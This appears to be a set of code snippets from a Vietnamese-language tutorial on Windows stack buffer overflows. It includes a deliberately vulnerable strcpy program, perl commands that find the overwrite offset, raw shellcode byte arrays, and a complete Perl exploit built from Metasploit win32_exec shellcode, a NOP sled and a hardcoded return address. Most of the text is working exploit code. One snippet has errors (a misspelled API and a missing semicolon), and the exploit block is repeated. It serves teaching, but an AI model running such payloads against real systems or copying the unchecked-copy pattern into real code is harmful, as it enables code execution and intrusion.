/* memory.c */ // this comment simply holds the program name
int index = 5; // giá trị này được lưu tại phân đoạn data bởi vì nó có giá trị khởi tạo.

char * str; // giá trị này được lưu tại phân đoạn bss vì nó không có giá trị khởi tạo ban đầu.

void funct1(int c){ // bracket starts function1 block
int i=c; // được lưu trong phân đoạn stack.

str = (char*) malloc (10 * sizeof (char)); // Dành 10 ký tự trong vùng nhớ Heap.
strncpy(str, "abcde", 5); //copies 5 characters "abcde" into str
} //end of function1
void main (){ //the required main function
funct1(1); //main calls function1 with an argument
} //end of the main function

int f(int a,int b,int c);
int main()
{
	f(1,2,3);
	return 0;
}
int f(int a,int b,int c)
{
	int i;
	char buf[3];
	i=5;
	buf[0]='A';
	buf[1]='B'; 
	buf[2]='C';
	return (a+i);
}

#include <stdio.h>
void func2()
{
	printf("Hello everybody !\n");
	exit(1);
}
void func1()
{
	int buf[1];
	buf[2]=(int)func2;
}
void main()
{
	func1();
}

Chi tiết về hàm WinExec
UINT WINAPI WinExec(
  __in  LPCSTR lpCmdLine,
  __in  UINT uCmdShow
);

#include <windows.h>
int main()
{
	char fname[10]="calc";
	WinExec(fname,1);
	return 0;
}

#include <windows.h>
#include <stdio.h>
int main(int argc,char *argv[])
{
	if (argc<3)
	{
		printf("Cu phap: %s <Ten dll> <Ten ham> \n",argv[0]);
		printf("Vi du: %s kernel32.dll WinExec",argv[0]);
		return 0;
	}
	HINSTANCE hDll;
	hDll=LoadLibrary(argv[1]);
	if (hDll!=0)
	{
		FARPROC	fp;
		fp=GetAddressProc(hDll,argv[2])
		if (fp!=0)
			printf("Dia chi cua ham %s la : 0x%x",argv[1],fp);
		else
			printf("Khong tim thay ham %s trong thu vien %s",argv[2],argv[1]);
	}
}

void main()
{
	__asm{
		xor	eax,eax
		push	eax
		sub	esp,4
		mov	[ebp-8],'c'
		mov	[ebp-7],'a'
		mov	[ebp-6],'l'
		mov	[ebp-5],'c'
		push 	eax
		lea	eax,[ebp-8]
		push	eax
		mov	eax,0x7c86114d
	 	call	eax
		mov	eax,0x7c81caa2
		call	eax
	}
}

unsigned char scode[] =
"\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\x50\x8D\x45\xF8\x50\xB8\x4D\x11\x86\x7C\xFF\xD0\xB8\xA2\xCA\x81\x7C\xFF\xD0\x5D\xC3";
int main(int argc, char *argv[])
{
	int *ret;
	ret=(int *)&ret+2;// Ghi đè địa chỉ trở về của hàm main
	(*ret)=(int)scode;// Giá trị của con trỏ ret trỏ đến là giá trị của biến scode
	return 0;
}

unsigned char scode[] =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0d"
"\x5a\x9f\x07\x83\xeb\xfc\xe2\xf4\xf1\xb2\xdb\x07\x0d\x5a\x14\x42"
"\x31\xd1\xe3\x02\x75\x5b\x70\x8c\x42\x42\x14\x58\x2d\x5b\x74\x4e"
"\x86\x6e\x14\x06\xe3\x6b\x5f\x9e\xa1\xde\x5f\x73\x0a\x9b\x55\x0a"
"\x0c\x98\x74\xf3\x36\x0e\xbb\x03\x78\xbf\x14\x58\x29\x5b\x74\x61"
"\x86\x56\xd4\x8c\x52\x46\x9e\xec\x86\x46\x14\x06\xe6\xd3\xc3\x23"
"\x09\x99\xae\xc7\x69\xd1\xdf\x37\x88\x9a\xe7\x0b\x86\x1a\x93\x8c"
"\x7d\x46\x32\x8c\x65\x52\x74\x0e\x86\xda\x2f\x07\x0d\x5a\x14\x6f"
"\x31\x05\xae\xf1\x6d\x0c\x16\xff\x8e\x9a\xe4\x57\x65\x24\x47\xe5"
"\x7e\x32\x07\xf9\x87\x54\xc8\xf8\xea\x39\xfe\x6b\x6e\x5a\x9f\x07";

//File vul.c
#include <stdio.h>
greeting(char *temp1, char *temp2) {
char name[400];
strcpy(name, temp2);
printf("Hello %s %s\n", temp1, name);
}
main(int argc, char *argv[]){
greeting(argv[1], argv[2]);
printf("Bye %s %s\n", argv[1], argv[2]);
}

perl -e "exec 'vul',’Mr’,('A'x400)" Chương trình sẽ không xuất hiện lỗi.
perl -e "exec 'vul',’Mr’,('A'x404)" Xuất hiện lỗi do ghi đè lên địa chỉ của EBP.
perl -e "exec 'vul',’Mr’,('A'x408)" Xuất hiện lỗi do ghi đè lên địa chỉ của EIP.

get_sp() { __asm mov eax, esp }
int main(){
printf("Stack pointer (ESP): 0x%x\n", get_sp());
}

# win32_exec - EXITFUNC=thread CMD=calc.exe Size=164 Encoder=PexFnstenvSub
#http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb6".
"\x9d\x6d\xaf\x83\xeb\xfc\xe2\xf4\x4a\x75\x29\xaf\xb6\x9d\xe6\xea".
"\x8a\x16\x11\xaa\xce\x9c\x82\x24\xf9\x85\xe6\xf0\x96\x9c\x86\xe6".
"\x3d\xa9\xe6\xae\x58\xac\xad\x36\x1a\x19\xad\xdb\xb1\x5c\xa7\xa2".
"\xb7\x5f\x86\x5b\x8d\xc9\x49\xab\xc3\x78\xe6\xf0\x92\x9c\x86\xc9".
"\x3d\x91\x26\x24\xe9\x81\x6c\x44\x3d\x81\xe6\xae\x5d\x14\x31\x8b".
"\xb2\x5e\x5c\x6f\xd2\x16\x2d\x9f\x33\x5d\x15\xa3\x3d\xdd\x61\x24".
"\xc6\x81\xc0\x24\xde\x95\x86\xa6\x3d\x1d\xdd\xaf\xb6\x9d\xe6\xc7".
"\x8a\xc2\x5c\x59\xd6\xcb\xe4\x57\x35\x5d\x16\xff\xde\x72\xa3\x4f".
"\xd6\xf5\xf5\x51\x3c\x93\x3a\x50\x51\xfe\x0c\xc3\xd5\xb3\x08\xd7".
"\xd3\x9d\x6d\xaf";
# Từ địa chỉ 0x12ff68-0x198(408 bytes)
my $return_address = "\x68\xFF\x12\x00";
my $nop_before = "\x90" x 24;
my $nop_after = "\x90" x 216;
my $payload = $nop_before.$shellcode.$nop_after.$return_address;
exec 'vul',$payload

# win32_exec - EXITFUNC=thread CMD=calc.exe Size=164 Encoder=PexFnstenvSub
 #http://metasploit.com
 my $shellcode =
 "\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb6".
 "\x9d\x6d\xaf\x83\xeb\xfc\xe2\xf4\x4a\x75\x29\xaf\xb6\x9d\xe6\xea".
 "\x8a\x16\x11\xaa\xce\x9c\x82\x24\xf9\x85\xe6\xf0\x96\x9c\x86\xe6".
 "\x3d\xa9\xe6\xae\x58\xac\xad\x36\x1a\x19\xad\xdb\xb1\x5c\xa7\xa2".
 "\xb7\x5f\x86\x5b\x8d\xc9\x49\xab\xc3\x78\xe6\xf0\x92\x9c\x86\xc9".
 "\x3d\x91\x26\x24\xe9\x81\x6c\x44\x3d\x81\xe6\xae\x5d\x14\x31\x8b".
 "\xb2\x5e\x5c\x6f\xd2\x16\x2d\x9f\x33\x5d\x15\xa3\x3d\xdd\x61\x24".
 "\xc6\x81\xc0\x24\xde\x95\x86\xa6\x3d\x1d\xdd\xaf\xb6\x9d\xe6\xc7".
 "\x8a\xc2\x5c\x59\xd6\xcb\xe4\x57\x35\x5d\x16\xff\xde\x72\xa3\x4f".
 "\xd6\xf5\xf5\x51\x3c\x93\x3a\x50\x51\xfe\x0c\xc3\xd5\xb3\x08\xd7".
 "\xd3\x9d\x6d\xaf";
 # Từ địa chỉ 0x12ff68-0x198(408 bytes)
 my $return_address = "\x68\xFF\x12\x00";
 my $nop_before = "\x90" x 24;
 my $nop_after = "\x90" x 216;
 my $payload = $nop_before.$shellcode.$nop_after.$return_address;
 exec 'vul',$payload

my $return_address = "\x68\xFF\x12\x00";

my $return_address = "\x68\xFF\x12"

+------------------ESP
|
V
+------------------------------------+-----+-----+
|    Vulnerable buffer               | EBP | RET |
+------------------------------------+-----+-----+

+-----------------+------------------+-----+-----+
| NOPs            |  Shellcode       | nRET|nRET |
+-----------------+------------------+-----+-----+
                                  ^
                                  |
                   ESP -----------+
                                  |
                                  V
+-------+--------------------+-------+-----+-----+
| NOPs  |     Shellcode      | pads  | nRET|nRET |
+-------+--------------------+-------+-----+-----+